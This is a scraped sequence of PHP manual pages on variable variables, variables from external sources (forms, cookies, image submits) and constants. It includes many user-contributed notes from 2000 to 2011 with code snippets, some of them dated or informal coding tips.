I haven't fully tested the implimentation of the objects.  The  scope of a variable-variable's object attributes (get all that?) is a little tough to crack.  Regardless, this is another example of the manner in which the var-vars can be used with precision where tedious, extra hard-coding is the only alternative.

Then, we can easily pull everything back out again using a basic array function: foreach.

<?php
//...
   foreach($array as $key=>$object){

      echo $key." -- ".$object->print_fcn()." <br/>\n";

   } // end foreach

?>

Through this, we can pull a dynamically named object out of the array it was stored in without actually knowing its name.
04-Jun-2002 11:34
The 'dollar dereferencing' (to coin a phrase) doesn't seem to be limited to two layers, even without curly braces.  Observe:

<?php
$one = "two";
$two = "three";
$three = "four";
$four = "five";
echo $$$$one; //prints 'five'.
?>

This works for L-values as well.  So the below works the same way:

<?php
$one = "two";
$$one = "three";
$$$one = "four";
$$$$one = "five";
echo $$$$one; //still prints 'five'.
?>

NOTE: Tested on PHP 4.2.1, Apache 2.0.36, Red Hat 7.2
chrisNOSPAM at kampmeier dot net 08-Aug-2001 10:40
Note that normal variable variables will not be parsed in double-quoted strings. You'll have to use the braces to make it work, to resolve the ambiguity. For example:

<?php
$varname = "foo";
$foo = "bar";

print $$varname;  // Prints "bar"
print "$$varname";  // Prints "$foo"
print "${$varname}"; // Prints "bar"
?>
mstearne at entermix dot com 10-May-2001 06:09
Variable variables techniques do not work when one of the "variables" is a constant.  The example below illustrates this.  This is probably the desired behavior for constants, but was confusing for me when I was trying to figure it out.  The alternative I used was to add the variables I needed to the $GLOBALS array instead of defining them as constants.

<?php

define("DB_X_NAME","database1");
define("DB_Y_NAME","database2");
$DB_Z_NAME="database3";

function connectTo($databaseName){
global $DB_Z_NAME;

$fullDatabaseName="DB_".$databaseName."_NAME";
return ${$fullDatabaseName};

}

print "DB_X_NAME is ".connectTo("X")."<br>";
print "DB_Y_NAME is ".connectTo("Y")."<br>";
print "DB_Z_NAME is ".connectTo("Z")."<br>";

?>
[Editor Note: For variable constants, use constant() --Philip]
bpotier at edreamers dot org 26-Feb-2001 09:11
A good example of the use of variable variables name. Imagine that you want to modify at the same time a list of more than one record from a db table.
1) You can easily create a dynamic form using PHP. Name your form elements using a static name and the record id
ex: <input name="aninput<?php echo $recordid?>" which gives in the output something like <input name="aninput15">

2)You need to provide to your form action/submit script the list of records ids via an array serialized and urlencoded via an hidden field (to decode and un serialize once in the submit script)

3) In the script used to submit you form you can access the input value by using the variable ${'aninput'.$recordid} to dynamically create as many UPDATE query as you need

[Editor Note: Simply use an array instead, for example: <input name="aninput[<?php echo $recordid?>]" And loop through that array. -Philip]
dnl at au dot ru 08-Dec-2000 11:01
By the way...
Variable variables can be used as pointers to objects' properties:

<?php
class someclass {
  var $a = "variable a";
  var $b = "another variable: b";
  }

$c = new someclass;
$d = "b";
echo $c->{$d};
?>

outputs: another variable: b
mccoyj at mail dot utexas dot edu 03-Nov-2000 03:36
There is no need for the braces for variable object names...they are only needed by an ambiguity arises concerning which part of the reference is variable...usually with arrays.

<?php
class Schlemiel {
var $aVar = "foo";
}

$schlemiel = new Schlemiel;
$a = "schlemiel";
echo $$a->aVar;
?>

This code outputs "foo" using PHP 4.0.3.

Hope this helps...
- Jordan
Variable scope
Variables From External Sources
Variables


Variables From External Sources

HTML Forms (GET and POST)

When a form is submitted to a PHP script, the information from that form is automatically made available to the script. There are many ways to access this information, for example:

Example #1 A simple HTML form

<form action="foo.php" method="post">
    Name:  <input type="text" name="username" /><br />
    Email: <input type="text" name="email" /><br />
    <input type="submit" name="submit" value="Submit me!" />
</form>

Depending on your particular setup and personal preferences, there are many ways to access data from your HTML forms. Some examples are:

Example #2 Accessing data from a simple POST HTML form

<?php
// Available since PHP 4.1.0

   echo $_POST['username'];
   echo $_REQUEST['username'];

   import_request_variables('p', 'p_');
   echo $p_username;

// As of PHP 5.0.0, these long predefined variables can be
// disabled with the register_long_arrays directive.

   echo $HTTP_POST_VARS['username'];

// Available if the PHP directive register_globals = on. As of
// PHP 4.2.0 the default value of register_globals = off.
// Using/relying on this method is not preferred.

   echo $username;
?>

Using a GET form is similar except you'll use the appropriate GET predefined variable instead. GET also applies to the QUERY_STRING (the information after the '?' in a URL). So, for example, http://www.example.com/test.php?id=3 contains GET data which is accessible with $_GET['id']. See also $_REQUEST and import_request_variables().

Note:

Superglobal arrays, like $_POST and $_GET, became available in PHP 4.1.0

Note:

Dots and spaces in variable names are converted to underscores. For example <input name="a.b" /> becomes $_REQUEST["a_b"].

As shown, before PHP 4.2.0 the default value for register_globals was on. The PHP community is encouraging all to not rely on this directive as it's preferred to assume it's off and code accordingly.

Note:

The magic_quotes_gpc configuration directive affects Get, Post and Cookie values. If turned on, value (It's "PHP!") will automagically become (It\'s \"PHP!\"). Escaping is needed for DB insertion. See also addslashes(), stripslashes() and magic_quotes_sybase.

PHP also understands arrays in the context of form variables (see the related faq). You may, for example, group related variables together, or use this feature to retrieve values from a multiple select input. For example, let's post a form to itself and upon submission display the data:

Example #3 More complex form variables

<?php
if ($_POST) {
    echo '<pre>';
    echo htmlspecialchars(print_r($_POST, true));
    echo '</pre>';
}
?>
<form action="" method="post">
    Name:  <input type="text" name="personal[name]" /><br />
    Email: <input type="text" name="personal[email]" /><br />
    Beer: <br />
    <select multiple name="beer[]">
        <option value="warthog">Warthog</option>
        <option value="guinness">Guinness</option>
        <option value="stuttgarter">Stuttgarter Schwabenbräu</option>
    </select><br />
    <input type="submit" value="submit me!" />
</form>

IMAGE SUBMIT variable names

When submitting a form, it is possible to use an image instead of the standard submit button with a tag like:

<input type="image" src="image.gif" name="sub" />

When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two additional variables, sub_x and sub_y. These contain the coordinates of the user click within the image. The experienced may note that the actual variable names sent by the browser contains a period rather than an underscore, but PHP converts the period to an underscore automatically.

HTTP Cookies

PHP transparently supports HTTP cookies as defined by » RFC 6265. Cookies are a mechanism for storing data in the remote browser and thus tracking or identifying return users. You can set cookies using the setcookie() function. Cookies are part of the HTTP header, so the SetCookie function must be called before any output is sent to the browser. This is the same restriction as for the header() function. Cookie data is then available in the appropriate cookie data arrays, such as $_COOKIE, $HTTP_COOKIE_VARS as well as in $_REQUEST. See the setcookie() manual page for more details and examples.

If you wish to assign multiple values to a single cookie variable, you may assign it as an array. For example:

<?php
  setcookie("MyCookie[foo]", 'Testing 1', time()+3600);
  setcookie("MyCookie[bar]", 'Testing 2', time()+3600);
?>

That will create two separate cookies although MyCookie will now be a single array in your script. If you want to set just one cookie with multiple values, consider using serialize() or explode() on the value first.

Note that a cookie will replace a previous cookie by the same name in your browser unless the path or domain is different. So, for a shopping cart application you may want to keep a counter and pass this along. i.e.

Example #4 A setcookie() example

<?php
if (isset($_COOKIE['count'])) {
    $count = $_COOKIE['count'] + 1;
} else {
    $count = 1;
}
setcookie('count', $count, time()+3600);
setcookie("Cart[$count]", $item, time()+3600);
?>

Dots in incoming variable names

Typically, PHP does not alter the names of variables when they are passed into a script. However, it should be noted that the dot (period, full stop) is not a valid character in a PHP variable name. For the reason, look at it:

<?php
$varname.ext;  /* invalid variable name */
?>
Now, what the parser sees is a variable named $varname, followed by the string concatenation operator, followed by the barestring (i.e. unquoted string which doesn't match any known key or reserved words) 'ext'. Obviously, this doesn't have the intended result.

For this reason, it is important to note that PHP will automatically replace any dots in incoming variable names with underscores.

Determining variable types

Because PHP determines the types of variables and converts them (generally) as needed, it is not always obvious what type a given variable is at any one time. PHP includes several functions which find out what type a variable is, such as: gettype(), is_array(), is_float(), is_int(), is_object(), and is_string(). See also the chapter on Types.

User Contributed Notes

walf 03-Aug-2011 06:38
WARNING! replacement of spaces and dots does not occur in array keys.

E.g. If you have
<input name="a. b[x. y]" value="foo" />

var_dump($_POST);
gives
array(1) {
  ["a__b"]=>
  array(1) {
    ["x. y"]=>
    string(3) "foo"
  }
}
POSTer 13-Nov-2009 02:28
Here's a simple function to give you an uncorrupted version of $_POST:

<?php
// Function to fix up PHP's messing up POST input containing dots, etc.
function getRealPOST() {
    $pairs = explode("&", file_get_contents("php://input"));
    $vars = array();
    foreach ($pairs as $pair) {
        $nv = explode("=", $pair);
        $name = urldecode($nv[0]);
        $value = urldecode($nv[1]);
        $vars[$name] = $value;
    }
    return $vars;
}
?>
Anonymous 13-Feb-2008 06:46
The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.
vierubino dot r3m0oFdisB1T at gmail dot com 24-Aug-2007 09:12
When you are using checkboxes to submit multiple choices, there is no need to use the complex method further down the page where you assign a unique name to each checkbox.

Instead, just name each checkbox as the same array, e.g.:

<input type="checkbox" name="items[]" value="foo" />
<input type="checkbox" name="items[]" value="bar" />
<input type="checkbox" name="items[]" value="baz" />

This way your $_POST["items"] variable will return as an array containing all and only the checkboxes that were clicked on.
t.montg AT gmail DOT com 26-Apr-2007 05:05
For anyone else having trouble figuring out how to access values in a SELECT element from a POST or GET form, you can't set the "id" attribute to the same thing as your "name" attribute.  i.e. don't do this:

<?php
  //Not so good
  <select multiple="multiple" id="selectElem" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

If you do the above, the variable $_POST['selectElem'] will not be set.  Instead, either change the id or name attribute so that they are dissimilar.  i.e. do this:

<?php
  //So good (notice the new "id" value)
  <select multiple="multiple" id="selectElemId" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

Then you can access the value(s) of the SELECT element through the array $_POST['selectElem'][] or $_GET['selectElem'][].  It took me quite some time to figure out the problem.
ch1902uk at hotmail dot com 18-Mar-2006 11:47
Regarding image input buttons, above where it says:

"When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two *additional* variables, sub_x and sub_y. These contain the coordinates of the user click within the image."

This is the case with Firefox (and probably other standards browsers), however my experience with Internet Explorer is that when image inputs are clicked, they only submit the location of the click on the button and *not* the name of the input.

So if you have a form to move/delete entries like this

entry[]  [delete_0] [up_0] [down_0]
entry[]   [delete_1] [up_1] [down_1]
entry[]   [delete_2] [up_2] [down_2]

Then submitting the form in firefox will give you post variables such as

<?php
   $_POST['delete_2'];   // "Delete" - button value
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

In IE you only get

<?php
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

So if you are checking for what button was clicked do something like this

<?php
   for ($i = 0; $i < count($_POST['entry']); $i++)
   {
      if (isset($_POST['delete_' . $i . '_x']))
      {
         // do delete
      }
   }
?>
aescomputer AT yahoo DOT com 27-Oct-2005 11:01
Here are two usefull functions for forms:

<?php
// clean html tags out of url attributes
    if(!empty($_REQUEST)){
        foreach($_REQUEST as $x => $y){
            $_REQUEST[$x] = str_replace('<', '&lt;', str_replace('>', '&gt;', $y));
        }
    }

// replace carrage returns in url attributes with <br>
    if(!empty($_REQUEST)){
        foreach($_REQUEST as $x => $y){
            $_REQUEST[$x] = str_replace("\n", '<br>', $y);
        }
    }
?>
krydprz at iit dot edu 03-May-2005 01:14
This post is with regards to handling forms that have more than one submit button.

Suppose we have an HTML form with a submit button specified like this:

<input type="submit" value="Delete" name="action_button">

Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit button can be accessed in PHP after post like this:

<?php
$_POST['action_button'];
?>

We of course use the 'name' of the button as an index into the $_POST array.

This works fine, except when we want to pass more information with the click of this particular button.

Imagine a scenario where you're dealing with user management in some administrative interface.  You are presented with a list of user names queried from a database and wish to add a "Delete" and "Modify" button next to each of the names in the list.  Naturally the 'value' of our buttons in the HTML form that we want to display will be "Delete" and "Modify" since that's what we want to appear on the buttons' faceplates.

Both buttons (Modify and Delete) will be named "action_button" since that's what we want to index the $_POST array with.  In other words, the 'name' of the buttons along cannot carry any uniquely identifying information if we want to process them systematically after submit. Since these buttons will exist for every user in the list, we need some further way to distinguish them, so that we know for which user one of the buttons has been pressed.

Using arrays is the way to go.  Assuming that we know the unique numerical identifier of each user, such as their primary key from the database, and we DON'T wish to protect that number from the public, we can make the 'action_button' into an array and use the user's unique numerical identifier as a key in this array.

Our HTML code to display the buttons will become:

<input type="submit" value="Delete" name="action_button[0000000002]">
<input type="submit" value="Modify" name="action_button[0000000002]">

The 0000000002 is of course the unique numerical identifier for this particular user.

Then when we handle this form in PHP we need to do the following to extract both the 'value' of the button ("Delete" or "Modify") and the unique numerical identifier of the user we wish to affect (0000000002 in this case). The following will print either "Modify" or "Delete", as well as the unique number of the user:

<?php
$submitted_array = array_keys($_POST['action_button']);
echo ($_POST['action_button'][$submitted_array[0]] . " " . $submitted_array[0]);
?>

$submitted_array[0] carries the 0000000002.
When we index that into the $_POST['action_button'], like we did above, we will extract the string that was used as 'value' in the HTML code 'input' tag that created this button.

If we wish to protect the unique numerical identifier, we must use some other uniquely identifying attribute of each user. Possibly that attribute should be encrypted when output into the form for greater security.

Enjoy!
user: "someuser" at mai1server "ua.fm" 02-May-2005 12:17
Numerous string like:

<?php
if (isset($_POST["var1"]))
    $var1=$_POST["var1"];
else $var1='';
//...
if (isset($_POST["varN"]))
    $varN=$_POST["varN"];
else $varN='';
?>

Can be replaced with:

<?php
get_superglobal_vars_from_POST('var1','...','varN');

function get_superglobal_vars_from_POST()
{
    $numargs = func_num_args();
    $setargs = 0; // for counting set variables
    for ($i=0; $i<$numargs; $i++)
    {
    $varname=func_get_arg($i);
    if (!isset($_POST[$varname]))
        $result='';
    else
    {
        $result=$_POST[$varname];
        $setargs++;
    }
    $GLOBALS["$varname"]=$result;
    }
    return $setargs; // who cares?
}
?>
tim at timpauly dot com 30-Apr-2005 06:57
This code module can be added to every form using require_once().
It will process any and all form data, prepending each variable with
a unique identifier (so you know which method was used to get the data).

My coding could be neater, but this sure makes processing forms much easier!

<?php
// -----------------------------------------------------------------
// Basic Data PHP module. This module captures all GET, POST
// and COOKIE data and processes it into variables.
// Coded April, 2005 by Timothy J. Pauly
// -----------------------------------------------------------------
//
// coo_ is prepended to each cookie variable
// get_ is prepended to each GET variable
// pos_ is prepended to each POST variable
// ses_ is prepended to each SESSION variable
// ser_ is prepended to each SERVER variable

session_start(); // initialize session data
$ArrayList = array("_POST", "_GET", "_SESSION", "_COOKIE", "_SERVER"); // create an array of the autoglobal arrays
// we want to process

foreach($ArrayList as $gblArray) // process each array in the array list
{
   $prefx = strtolower(substr($gblArray,1,3))."_"; // derive the prepend string
// from the autoglobal type name
   $tmpArray = $$gblArray;
   $keys = array_keys($tmpArray); // extract the keys from the array being processed
   foreach($keys as $key) // process each key
    {

    $arcnt = count($tmpArray[$key]);

    if ($arcnt > 1) // Break down passed arrays and
// process each element seperately
    {
      $lcount = 0;
      foreach ($tmpArray[$key] as $dval)
        {
           $prkey = $prefx.$key; // create a new key string
// with the prepend string added
           $prdata['$prkey'] = $dval; // this step could be eliminated
           ${$prkey}[$lcount] = $prdata['$prkey']; //create new key and insert the data
           $lcount++;
        }

        } else { // process passed single variables

                $prkey = $prefx.$key; // create a new key string
// with the prepend string added
                $prdata['$prkey'] = $tmpArray[$key]; // insert the data from
// the old array into the new one
                $$prkey = $prdata['$prkey']; // create the newly named
// (prepended) key pair using variable variables :-)

               }
    }
}

// -------------------------------------------------------------
?>
tmk-php at infeline dot org 08-Apr-2005 09:38
To handle forms with or without [] you can do something like this:

<?php
    function repairPost($data) {
        // combine rawpost and $_POST ($data) to rebuild broken arrays in $_POST
        $rawpost = "&".file_get_contents("php://input");
        while(list($key,$value)= each($data)) {
            $pos = preg_match_all("/&".$key."=([^&]*)/i",$rawpost, $regs, PREG_PATTERN_ORDER);
            if((!is_array($value)) && ($pos > 1)) {
                $qform[$key] = array();
                for($i = 0; $i < $pos; $i++) {
                    $qform[$key][$i] = urldecode($regs[1][$i]);
                }
            } else {
                $qform[$key] = $value;
            }
        }
        return $qform;
    }

    // --- MAIN

    $_POST = repairPost($_POST);
?>

The function will check every field in the $_POST with the raw post data and rebuild the arrays that got lost.
Murat TASARSU 02-Mar-2005 04:29
if you want your multiple select returned variable in comma seperated form you can use this. hope that helps. regards...

$myvariable
   Array ( [0] => one [1] => two [2] => three )
turns into
   one,two,three

<?php
$myvariable="";
$myseperator="";
foreach ( $_POST["myvariable"] as $v) {
if (!isset($nofirstcomma)) $nofirstcomma=0; else $myseperator=",";
$myvariable = $myvariable.$myseperator.$v;
}
echo $myvariable;
?>
jlratwil at yahoo dot com 01-Feb-2005 05:35
To get multiple selected (with "multiple" ) lists in <select> tag, make sure that the "name" attribute is added to braces, like this:

<select multiple="multiple" name="users[]">
     <option value="foo">Foo</option>
     <option value="bar">Bar</option>
</select>

When submitted to PHP file (assume that you have a complete form) it will return an array of strings. Otherwise, it will just return the last element of the <select> tag you selected.
__kbanks at (__ignoreunderscores) dot gmail dot com 17-Jan-2005 03:05
Hi all:

I'm presently building a solution to programmatically build, view, and validate HTML forms when I came across the ol' PHP non-scalar form variable handling problem.  Because my form validator class would really have no way of knowing if a given form variable was meant to be scalar or not, I decided to TREAT ALL PHP FORM VARIABLES AS ARRAYS, i.e., to use the '[]' syntax for all variables, scalar or not.  This way, the form designer need not remember to specify the '[]' syntax, and the Form->HTML transformer need not scan for every input within the form, looking for duplicate names.  This also eliminates the risk of losing data you meant to keep in an array but to which you forgot to apply the '[]' syntax.

You may then either treat all form variables as arrays in your form handling code, or you may, as I intend to do, filter each HTML request through a Front Controller (desc. in Fowler, PoEAA).  The Front Controller would convert all arrays of length 1 to a scalar variable and leave multi-element arrays as they are.  This should essentially convert PHP's handling of non-scalar form variables to that of ASP's (or slightly better, since multiple form values of the same name will actually be arrays, not just comma-seperated values).

This way my Form Validator class can just check if the input to validate is an array, and then apply some constraint across each element in the array.
mattij at nitro fi no at no dot no 05-Nov-2004 07:39
If you try to refer or pass HTML-form data which has arrays with javascript remember that you should point to that array like this

<script type="text/javascript">
    window.opener.document.forms[0]["to[where][we][point]"];
</script>
lennynyktyk at yahoo dot com 09-Jul-2004 02:42
When dealing with multiple select boxes and the name=some_name[] so that PHP will understand that is needs to interpet the input as an array an not as a single value. If you want to access this in Javascript you should assign an id attribute to the select box as well as the name attribute. Then proceed to use the id attribute in Javascript to reference the select box and the name attribute to reference the select box in PHP.
Example

<select multiple id="select_id" name="select_name[]">
....

</select>

<?PHP
    echo $select_name[0];
?>

<script language="javascript">
  document.forms[0].select_id.options[0].selected = true;
</script>

I hope you get the idea
arjini at mac dot com 26-Mar-2004 11:48
When dealing with form inputs named_like_this[5] and javascript, instead of trying to get PHP to do something fancy as mentioned below, just try this on the javascript side of things:

<form name="myForm">

<script>
my_fancy_input_name = 'array_of_things[1]';
/* now just refer to it like this in the dom tree

document[myForm][my_fancy_input_name].value

etc*/
</script>

<input type="text" name="array_of_things[1]" value="1"/>
</form>

No fancy PHP, in fact, you shouldn't need to change your PHP at all.
epr3 11-Feb-2004 01:40
there is more simple to generate the checkbox and recognize
which box is clicked

<?php

echo '<script language="JavaScript" type="text/JavaScript">

var t = 0;

</script>';

for($i = 0 ;$i <5 ;$i++){

  echo '
  <script language="JavaScript" type="text/JavaScript">

  t++;

  document.writeln(t);
  document.writeln("<input type=\"checkbox\" name=\"cbx_foo[]\" value=\"" + t + "\">");

  </script>
  ';
}

foreach($_POST['cbx_foo'] as $value) {

    echo "<BR>You clicked checkbox number " . $value . "\n";
}

?>
jim at jamesdavis dot it 22-Jan-2004 11:59
How to pass a numerically indexed array.
This is the part inside the form. Notice that the name is not 'english[$r]' which you would normally write, but 'english[]'. PHP adds the index when it receives the post and it starts at 0.

<?php

for ($r=0; $r <= count($english)-1; $r++){
         echo "<TEXTAREA NAME='english[]'>".$english[$r]."</TEXTAREA>";

}
?>
<?php

And this will get it out at the other end
function retrieve_english(){
    for ($r=0; $r <= count($_POST['english'])-1; $r++){
        echo $_POST['english'][$r]."<BR>";
    }
}
?>

Keys are useful but so are numerical indices!
Cheers everyone
darren at sullivan dot net 01-Dec-2003 08:37
This function is a simple solution for getting the array of selectes from a checkbox list or a dropdown list out of the Querry String. I took an example posted earlier and simplified it.

<?php
function multi_post_item($repeatedString) {
    // Gets the specified array of multiple selects and/or
    // checkboxes from the Query String
    $ArrayOfItems = array();
    $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
    foreach ($raw_input_items as $input_item) {
        $itemPair = split("=", $input_item);
        if ($itemPair[0] == $repeatedString) {
            $ArrayOfItems[] = $itemPair[1];
        }
    }
    return $ArrayOfItems;
}
?>

Use the name of the field as the agrument. Example:

<?php
$Order = $_GET['Order'];
$Name = $_GET['Name'];
$States = multi_post_item('States');
$Products = multi_post_item('Products');
?>

Be sure to check for NULL if there are no selections or boxes checked.
soeren at hattel dot dk 06-Nov-2003 04:07
The decision in PHP to translate a query string like:

a=2&a=3&a=4

into one single variable a=4 is simply strupid!

The "wonderful" hack allowing multiple values to be read only if one uses:

a[]=2&a[]=3&a[]=4

is - at first sight - a nice feature but soon become a pain in the a..!

In ASP and ASPX the first situation is handled as:

a=2,3,4

which is better than the PHP behaviour but still bad (what if your variable values contain commas?).

It seems to me that the proper behaviour would be:

a=2&a=3&a=4

automatically generates an array with all the variables inside. I know this would require proper error handling but evevy things does anyway!
kevinrlat nospam dot ccs dot neu dot edu 07-Aug-2003 10:47
if you use an array of checkboxes to submit info to a database or what have you, be careful of the case when no boxes are checked.  for example:

<form method="post">
<input type="checkbox" name="checkstuff[]" value="0">
<input type="checkbox" name="checkstuff[]" value="1">
<input type="checkbox" name="checkstuff[]" value="2">

. . .

</form>

if these are submitted and none are checked, the $_POST['checkstuff'] variable will not contain an empty array, but a NULL value.  this bothered me when trying to implode() the values of my checkboxes to insert into a database, i got a warning saying the 2nd argument was the wrong type.

hope this helps!
-kevin
un shift at yahoo dot com 01-Apr-2003 10:07
This function takes a recurring form item from php://input and loads it into an array - useful for javascript/dom incompatibility with form_input_item[] names for checkboxes, multiple selects, etc.  The fread maxes out at 100k on this one.  I guess a more portable option would be pulling in ini_get('post_max_size') and converting it to an integer.

<?php
function multi_post_item($input_item_name) {
     $array_output = array();
     $in_handle = fopen("php://input", "r");
     $raw_input_items = split("&", urldecode(fread($in_handle, 100000)));
     foreach ($raw_input_items as $input_item) {
            // split this item into name/value pair
            $item = split("=", $input_item);
            // form item name
            $item_name = $item[0];
            // form item value
            $item_value = $item[1];
            if ($item_name == $input_item_name) {
                    $array_output[] = $item_value;
            }
     }
     return $array_output;
}
?>
vb at bertola dot eu dot org 19-Mar-2003 09:38
For what I understand, since PHP 4.3 it is possible to access the content of a POST request (or other methods as well) as an input stream named php://input, example:

readfile("php://input");
[to display it]

or

$fp = fopen("php://input", "r");
[to open it and then do whatever you want]

This is very useful to access the content of POST requests which actually have a content (and not just variable-value couples, which appear in $_POST).

This substitutes the old $HTTP_RAW_POST_DATA variable available in some of the previous 4.x versions. It is available for other upload methods different from POST too, but it is not available for POSTs with multipart/form-data content type, since the file upload handler has already taken care of the content in that case.
mail at paulodeon dot com 12-Mar-2003 05:42
If you have form data that could be coming in via either GET or POST and register_globals is off (as it should be) use the empty() function to find out where the data is coming from, as in the following example

<?php
if(empty($_GET)) {
        $clientfilter = $_POST['clientfilter'];
        $branchfilter = $_POST['branchfilter'];
}
if(empty($_POST)) {
    $clientfilter = $_GET['clientfilter'];
    $branchfilter = $_GET['branchfilter'];
}
?>
04-Mar-2003 07:21
"...the dot (period, full stop) is not a valid character in a PHP variable name."

That's not completely correct, consider this example:
$GLOBALS['foo.bar'] = 'baz';
echo ${'foo.bar'};
This will output baz as expected.
keli at kmdsz dot ro 03-Feb-2003 07:37
image type inputs apparently return their "value" argument from Mozilla, but not from IEXplorer... :(

example:

 <input type="image" name="sb" value="first" src="first.jpg">

using a mozilla will give you
  $sb="first" AND $sb_x, $sb_y ... whereas from IE there's just no $sb. :(

[this in short form, as I'm still using trackvars :) ]
steiner277 at charter dot net 09-Jul-2002 05:55
When accessing variables from a post, do NOT put $_POST['fieldname'] in double quotes or you will get an error message.

e.g. the following works fine:

$msg = "The message is:\t" . $_POST['message'] . "\n";

but the following will cause errors:

$msg = "The message is:\t$_POST['message']\n";
hjncom at hjncom dot net 25-May-2002 03:34
I think '[' and ']' are valid characters for name attributes.

http://www.w3.org/TR/html401/interact/forms.html#h-17.4
-> InputType of 'name' attribute is 'CDATA'(not 'NAME' type)

http://www.w3.org/TR/html401/types.html#h-6.2
-> about CDATA('name' attribute is not 'NAME' type!)
...CDATA is a sequence of characters from the document character set and may include character entities...

http://www.w3.org/TR/html401/sgml/entities.html
--> about Character entity references in HTML 4
([ - &#91, ] - &#93)
jesper at codecrew dot dk 11-May-2002 07:12
Just to help others with the same stupid problem i have:

I you use a checkbox in your form, it will only return the value specified in value if it is checked.

ex. <input type="checkbox" value="yes">

in php code you then write

$checkboxchecked = ($checkbox == "yes");

I guess :)
a at b dot c dot de 03-Feb-2002 04:49
As far as whether or not "[]" in name attributes goes, The HTML4.01 specification only requires that it be a case-insensitive CDATA token, which can quite happily include "[]". Leading and trailing whitespace may be trimmed and shouldn't be used.

It is the id= attribute which is restricted, to a case-sensitive NAME token (not to be confused with a name= attribute).
carl_steinhilber at NOSPAMmentor dot com 30-Jan-2002 02:19
A group of identically-named checkbox form elements returning an array is a pretty standard feature of HTML forms. It would seem that, if the only way to get it to work is a non-HTML-standard-compliant workaround, it's a problem with PHP.

Since the array is passed in the header in a post, or the URL in a get, it's the PHP interpretation of those values that's failing.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 04:02
Important:  Pay attention to the following security concerns when handling user submitted  data :

http://www.php.net/manual/en/security.registerglobals.php
http://www.php.net/manual/en/security.variables.php
Variable variables
Constants
Variables


Constants

Table of Contents

  • Syntax
  • Magic constants

A constant is an identifier (name) for a simple value. As the name suggests, that value cannot change during the execution of the script (except for magic constants, which aren't actually constants). A constant is case-sensitive by default. By convention, constant identifiers are always uppercase.

The name of a constant follows the same rules as any label in PHP. A valid constant name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thusly: [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Tip

See also the Userland Naming Guide.

Example #1 Valid and invalid constant names

<?php

// Valid constant names
define("FOO",     "something");
define("FOO2",    "something else");
define("FOO_BAR", "something more");

// Invalid constant names
define("2FOO",    "something");

// This is valid, but should be avoided:
// PHP may one day provide a magical constant
// that will break your script
define("__FOO__", "something");

?>

Note: For our purposes here, a letter is a-z, A-Z, and the ASCII characters from 127 through 255 (0x7f-0xff).

Like superglobals, the scope of a constant is global. You can access constants anywhere in your script without regard to scope. For more information on scope, read the manual section on variable scope.

User Contributed Notes

Anonymous 27-Aug-2011 07:35
PHP will allow characters other than those shown for both variable names and constants, and therefore probably functin names, too.  And I'm pretty sure array indexes also.

Many others are allowed, while some are not.  It seems like a craps-shoot at first, but there is a 'bit' of reason...

you can do this:
<?php
$x´; // using the "acute (reverse) accent mark"  (#182)
?>
but not:
<?php
$x′;  // using the "prime mark"  (#8242)
?>

but you can do:
<?php
$x‡†±√2×π  // using double dagger, dagger, plus-minus, square-root, the number 2, the "times symbol" and the greek letter pi (lowercase).
?>
but not:
<?php
$x♂♀◊∆;  // using male, female, lozenge, mathematical increment symbol.
?>

You can do this:
<?php
define('≈PI',   M_PI);        // 180 degrees = π radians ≈ 3.141592654 radians
define('≈180°', M_PI);
define('≈PI÷2', M_PI_2);      // 90 degrees ≈ 1.570796327 radians
define('≈90°',  M_PI_2);
define('≈PI÷4', M_PI_4);      // 45 degrees ≈ 0.785398163 radians
define('≈45°',  M_PI_4);
define('≈PI×3÷2', ≈PI+≈PI÷2); // 270 degrees ≈ 4.71238898 radians
define('≈270°', ≈PI×3÷2);
define('≈PI×2', ≈PI*2);       // 360 degrees = 2π radians ≈ 6.283185307 radians
define('≈360°', ≈PI×2);
?>

So essentially, you must check each character for acceptance by PHP if you want to use them, but they can really add a semantical value in some cases, thus making your code easier to read and understand..
meint at meint dot net 11-Jan-2011 12:08
A nice way to set and verify a constant is not already set:

defined('CONSTANT') or define('CONSTANT', 'value');

If the constant is defined the expression resolves to false, if the constant isn't set it will be defined.
ben at bendodson dot com 27-Nov-2007 03:14
I recently found I needed a way of retrieving the value of a constant dynamically - e.g. trying to find the value of FOO_BAR by passing 'FOO_' . $someVariableWithValueBAR.  I came up with the following solution:

<?php

define('FOO_BAR','It works!');
define('FOO_FOO_BAR','It works again!');

// prints 'It works!'
$changing_variable = 'bar';
echo constant('FOO_' . strtoupper($changing_variable));

// prints 'It works again!'
$changing_variable = 'foo_bar';
echo constant('FOO_' . strtoupper($changing_variable));

?>

Note the use of strtoupper() as constants should be defined in uppercase for good practice - feel free to remove if you have constants defined in lowercase or you can set $changing_variable as uppercase.

Might be of some use to someone!
tudor at tudorholton dot com 09-Jul-2007 05:15
Note that constant name must always be quoted when defined.

e.g.
define('MY_CONST','blah') - correct
define(MY_CONST,'blah') - incorrect

The following error message also indicates this fact:
Notice:  Use of undefined constant MY_CONST - assumed 'MY_CONST' in included_script.php on line 5

Note the error message gives you some incorrect information.   'MY_CONST' (with quotes) doesn't actually exist anywhere in your code.  The error _is_ that you didn't quote the constant when you defined it in the 'assumed' file.
Andreas R. 30-Apr-2007 07:19
If you are looking for predefined constants like
* PHP_OS (to show the operating system, PHP was compiled for; php_uname('s') might be more suitable),
* DIRECTORY_SEPARATOR ("\\" on Win, '/' Linux,...)
* PATH_SEPARATOR (';' on Win, ':' on Linux,...)
they are buried in 'Predefined Constants' under 'List of Reserved Words' in the appendix:
